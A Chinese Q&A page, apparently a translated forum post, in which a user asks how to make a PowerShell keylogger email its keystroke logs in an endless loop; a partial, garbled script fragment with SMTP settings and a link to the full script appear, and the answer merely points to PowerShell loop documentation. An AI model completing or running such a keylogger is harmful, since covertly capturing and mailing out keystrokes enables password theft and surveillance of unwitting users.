为什么这个PowerShell键盘记录器只发送一次日志?



我有这个Powershell键盘记录器,可以将日志发送到电子邮件,它工作正常,但它只发送一次日志,然后他停止工作。 如何让它像一个无限循环?

TimesToRun = 2
$RunTimeP = 1
$From = "USER1@mail.com"
$Pass = "Pa$$w0rd"
$To = "USER2@mail.com"
$Subject = "Keylogger Results"
$body = "Keylogger Results"
$SMTPServer = "smtp.mail.com"
$SMTPPort = "587"
$credentials = new-object 
Management.Automation.PSCredential 
$From, ($Pass | ConvertTo-SecureString -AsPlainText -Force)

$TimeStart = Get-Date
$TimeEnd = $timeStart.addminutes($RunTimeP)
l
function Start- 
KeyLogger($Path="$env:tempkeylogger.txt") 

这是完整的脚本 https://gist.githubusercontent.com/dimiboy/8073b733f04d896cc7484fdb68bfce07/raw/d3ba1579e6be99680bee18a509a7f6940cb6a248/keystrokes-NEW.ps1

我把它放在这里,因为它对于评论部分来说太长了。

这是 While 循环的一个用例。这也不是PowerShell的唯一或限制。

循环是所有编程语言的标准用例,也是有据可查的东西。

有内置的帮助让你开始。

Get-Help about_Foreach
Get-Help about_For
Get-Help about_While
Get-Help about_do

PowerShell Loops

https://social.technet.microsoft.com/wiki/contents/articles/4542.powershell-loops.aspx

您必须决定使用哪个,因为每个都有其细节和影响。

相关内容

  • 没有找到相关文章

最新更新